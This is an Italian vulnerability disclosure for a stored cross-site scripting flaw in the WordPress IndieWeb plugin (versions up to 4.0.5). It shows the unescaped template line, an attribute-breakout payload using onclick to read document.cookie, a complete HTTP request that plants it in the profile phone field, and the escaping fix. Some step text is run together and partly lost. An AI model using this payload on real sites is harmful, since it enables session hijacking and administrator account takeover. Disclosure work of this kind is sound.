
Cross-Site Scripting (XSS) Memorizzato Autenticato nel Plugin WordPress IndieWeb
Disclaimer: Questo repository è creato solo per scopi educativi e divulgazione etica. La vulnerabilità è stata segnalata responsabilmente al fornitore e corretta. Non utilizzare queste informazioni per sfruttare sistemi senza la dovuta autorizzazione.
Una vulnerabilità di Cross-Site Scripting (XSS) Memorizzato è stata scoperta nel plugin IndieWeb per WordPress (versioni <= 4.0.5). Questa vulnerabilità consente a utenti autenticati con privilegi di Autore o superiori di iniettare JavaScript malevolo nel campo "Telefono" del proprio profilo utente.
Quando il "Widget H-Card del Profilo Autore" viene visualizzato nel frontend, lo script iniettato viene renderizzato senza una corretta sanitizzazione. Se un utente con privilegi elevati, come un Amministratore, fa clic sul collegamento manipolato, lo script viene eseguito nel contesto del suo browser. Ciò può portare a hijacking della sessione, azioni amministrative non autorizzate e completo Account Takeover (ATO).
<= 4.0.5Il problema principale risiede nella gestione non sicura dei metadati utente all'interno del sistema di template del plugin, in particolare nella mancata utilizzazione delle funzioni di escaping integrate di WordPress.
File Vulnerabile: templates/h-card.php (Riga 27)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
Il Difetto:
Il plugin visualizza direttamente i metadati tel dell'utente all'interno dell'attributo HTML href utilizzando echo senza avvolgerli in esc_attr(). Ciò consente a un attaccante di fornire una stringa appositamente costruita che include un doppio apice (") per chiudere prematuramente l'attributo href, seguito da attributi HTML arbitrari (come style o onclick).
<= 4.0.5 attivato./wp-admin/profile.php).href):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single()) per mostrare le informazioni dell'autore.POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
Per correggere questa vulnerabilità, gli sviluppatori del plugin devono eseguire correttamente l'escape dell'output utilizzando le funzioni esc_attr() e esc_html() di WordPress.
Esempio di Codice Corretto:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>